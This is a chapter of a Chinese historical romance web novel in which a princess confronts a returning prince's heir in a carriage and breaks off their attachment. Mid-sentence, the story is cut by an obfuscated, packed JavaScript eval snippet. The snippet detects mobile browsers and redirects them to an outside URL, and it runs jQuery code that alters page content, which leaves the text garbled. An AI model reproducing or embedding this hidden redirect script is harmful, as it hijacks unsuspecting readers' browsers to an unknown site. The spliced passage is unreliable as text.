周同聿鲜少见得亲妹这般谄媚的笑脸,上一次见,他丢了一串赤玉珠,那是羌迭进献的至宝,据说从开采到打磨成器皆是不易,自古赤玉最是稀缺,更何况是莹润非常的足足一百零八颗。
他都想好了要将这串珠子留给自己未来唯一的太子妃,没曾想就这么被套走了。
所以此时,本就不苟言笑的南盛储君面色越发板正,甚至后退了一步。
倒是另一侧的男人颔首礼道:“公主。”
如此,周同月才终于屈尊纡贵地重新瞧过去,后者目光柔和,不见回避,便是被她这般直直盯上,也端得一派清明如水。
“哦,本宫倒是忘记了,永宁王世子今日还朝,”她松开挽着自家皇兄的手,兀自端庄附于身前,“听闻世子此番功德无量,本宫该是道一声恭喜。”
本宫两个字一出,顿时显出些做作的疏离。
周同月说这话不脸红,青颂却是尴尬地别过了脑袋望天。
如果日日掐指算着时间也能叫忘记的话,那还真的是没有天理了。
不过她已经十六岁了,是个成熟的女官了,当然不会当众揭公主的短,所以青颂默默听着公主殿下继续说瞎话:“对了皇兄,我正打算要去探望太傅,就是母后不放心我单独出宫,不如你送我去?”
“太傅的病情严重了?”周同聿肃目。
“没有,不过么我最近新得了几株乌灵参,听说对太傅的病最是有益,想着该是要早些亲手送过去为好。”
周同聿噎住了,这波果然是冲着他来的。
太子几乎是生生硬扯了出了一个笑容:“既如此,确实该早些送过去。”
“不过今日为兄还有要事处理,就不同你一道了,”他望向身侧人,“世子哥哥方才也说要去拜访太傅,不知可能带上阿忙一起?”
周同月眼观鼻观心,并没有再出声,单单等着答案。
翟太傅虽是太子太傅,可在成为太傅之前,他便就已经是席与风的老师了,老师病重他未归,如今回来,必然是要马不停蹄去谢罪的。
她稳操胜券。
果然,那边的席与风虽有迟疑,却到底还是点了点头。
出宫的时候阳光正好,男人微微欠身等她先行,地上的身影交错,周同月走到了前面。
“别跟着我,去拿乌灵参。”周同月低声咬字。
青颂才是满头雾水呢:“不是,哪里有参啊?”
“去找周同聿,自然就有了。”
“啊?”青颂怔住,而后立即明白,“是!”
周同月勾勾唇,自打太傅病了,皇兄便就到处寻觅良方,听说这乌灵参有用,便费尽心力去找。
想来他那里肯定是有的。
哎,对不住了皇兄,谁叫你政务繁忙。
宫门外的马车已经等了许久,周同月眼前一黑。
刚刚光是想着算计,却是忘了这永宁王府的马车可是十年如一日的硬破小,之前不幸坐过几次,没有她的马车宽敞就算了,连个像样的软垫都没有,回去愣是让青颂给她揉了半天肩背。
没想到五年了,他竟然还没有换!
这马车是救过他命吗!
失策。
“公主,请。”
周同月被这一声拉回现实,咬咬牙勾头进去,等了半息,见得那人也跟着上车。
马车出发,周同月耳上玉珰也随之晃了晃,她伸手按在了身侧,好叫自己稳住身形,正是时,她瞥见对面手腕上漆黑的念珠。
席与风的手随意搭在膝上,那念珠便自掌心蜿蜒收进袖中腕口,男人指骨优越,叫人移不开眼。
似有所觉,那手指忽而一动,席与风的声音传来:“公主可是又晕车?”
周同月下意识眉睫一跳,再抬眼却不答反问:“若是,你待如何?”
“……”
他连错愕也不过是目光追随的沉默。
周同月心口一堵,竟是失笑。
这笑来得突然,终于叫对方重新出声:“前头有一家药铺,公主稍等。”
“前头没有药铺,”周同月直言,一字一顿,“世子恐怕是因为出去太久,不知盛京变化。那药铺如今是个酒楼,名曰大酱斋,听说里头的酱料一绝,世子若是有意,我倒是可以在那里设宴,为世子接风洗尘。”
便是个木头大约也是能听出这话中的阴阳怪气。
席与风自然也听出来了。
直到此时,他才终于明白从见面起他便莫名察觉的怪异从何而来。
以前,小姑娘都是一口一个风哥哥叫得清脆非常,哪怕是他打坐修禅,她也会乖乖托腮在旁瞧着,满面天真。
可这次再见,她只唤他作世子。
若说殿前那次是碍于场合,那么此间她字字句句,分明有意。
若有所思,席与风问:“公主今日,是有话要同微臣说?”
所以今日她会出现在大殿之外,也是特意为了等他?
因为什么?
他脸上的困惑实在不像是假的,周同月饶是再三按捺过自己,也是再忍不下去。
好家伙,她在这边苦苦煎熬,有人却是根本就没过心。
什么公主修养,什么皇家典范,她现下也是顾不得了。
“世子真是贵人多忘事,哦,也是,世子一心向佛,这些不会放在眼中,”她哼了一声,“可世子实在不需做得这般决绝,本宫是南盛长公主,最是讲道理的人,你若实在无心,直言拒绝便是。如此逃避了事,一走五年,实非君子。”
她说的每个字,席与风都听着了,因为听着了,才更是不明白。
可眼看她面色微微涨红的模样,他到底蹙了眉心,明白她是真的憋闷了许久。
这其中究竟如何姑且不论,倘若是能叫她将浊气都发泄了去,也是好的。
至于其余的,往后再慢慢梳理吧。
所以他张了张嘴,终究没有反驳。
见他理亏无言,周同月扬起下巴。
人有时候就是堵着一口气,倘若是这口气有了通风口子,便也就毫无顾忌了。
所以她环顾了这马车一周,干脆将心中所想全数都倒了出去:“世子,你有没有想过,我自小便打马走车,临北大营都去过,怎会晕车?所谓晕车不过是因为你马车太小太破太硬!若非是想要同你多独处一会,谁乐意坐这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268315|182186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样的马车?!你所谓晕车,那只是因为我坐得腰疼而已。”
席与风怔住。
他想起很多年前,小姑娘揪着他的衣裳说难受。
山路难行,他没了法子,最后只能任由她趴在自己腿上睡去。
“还有,我一点都不喜欢读书,更听不懂佛经,以前每次要跟着一起去南山寺,只是为了看你罢了!”
心思陡然一动,席与风重新认真瞧她。
“——还有山上的素斋。”周同月补充。
“我手腕金贵,戴不得任何东西,动辄就痒,之所以要戴着那串赤玉,不过为了同你这漆黑的一百零八珠配一对罢了!五年前你一走我就摘了!”
“……”
“总之,席与风,”她扬了扬头,“往日种种,皆是过去。你既无心我便休,我周同月断不会叫世子为难。今后,世子大可不必再刻意躲着我。我,周同月,也绝不会再纠缠世子分毫!”
结语掷地有声,眼前人亦是目光灼灼。
席与风从没有哪一刻,见到这样的南盛长公主。
记忆里似乎她还一点点大,哇哇哭着被塞进了他怀里,啼哭化为一道响亮的笑声。
“看来是很喜欢我们世子呢。”苏皇后笑着说。
一晃,小小的人儿抓着笔将墨汁涂了一地。
接着,梳着小辫儿的丫头蹦跳着拉扯他要去买糖画。
再大一些,小姑娘嚷嚷着要同他一起去南山寺,他听住持讲经,她就叉着腰从外头进了大殿,很是威风地说自己打了胜仗,至于这战事缘由,不过是因为一群小屁孩笑他是没剃毛的秃驴。
住持告诉她勿嗔勿怪,她还生了气。
无法,他将她带到静室,伴着外头声声木鱼,亲自给她念经清心,不想八岁的小姑娘竟是认真瞧着他安慰:“风哥哥别听他们胡说,你就是真的秃驴,我也欢喜你!”
彼时,哭笑不得。
他年长她七岁,在民间很多人家,这样的岁数,甚至可能相差一辈。
如今,他亲眼看着长大的小姑娘像是突然拔节生长,就在方才,她直呼他名姓,她甚至说,你若无心我便休,绝不会再纠缠他分毫——
一定是哪里出现了问题。
席与风心中的震惊无以名状,久无波澜的胸腔骤雨初歇,竟是破天荒的迟迟未能恢复。
周同月说完这些,连日来的躁动才算是安歇。
原本还有很多要说的,只是期间不察,撞进男人墨色的眸光,突然又偃旗息鼓。
她不知道席与风在想什么,最起码,从他的眼神中,她并不能分析出具体,只觉里头暗波汹涌,浑不似寻常。
“……”
他像是要说出些什么来,周同月便就哑口等着。
可她等了好一会儿,对面只是深深叹了口气。
遥远的,像是从脏腑绝处而出,经过了层层阻碍方得释然,带着点经久不息的余韵。
“好,”他说,“微臣知道了。”
指尖的念珠捻下,席与风垂眸:“此前万般,皆是抱歉。”
“往后,望自珍重,”再抬眼,已是一片清明,“公主殿下。”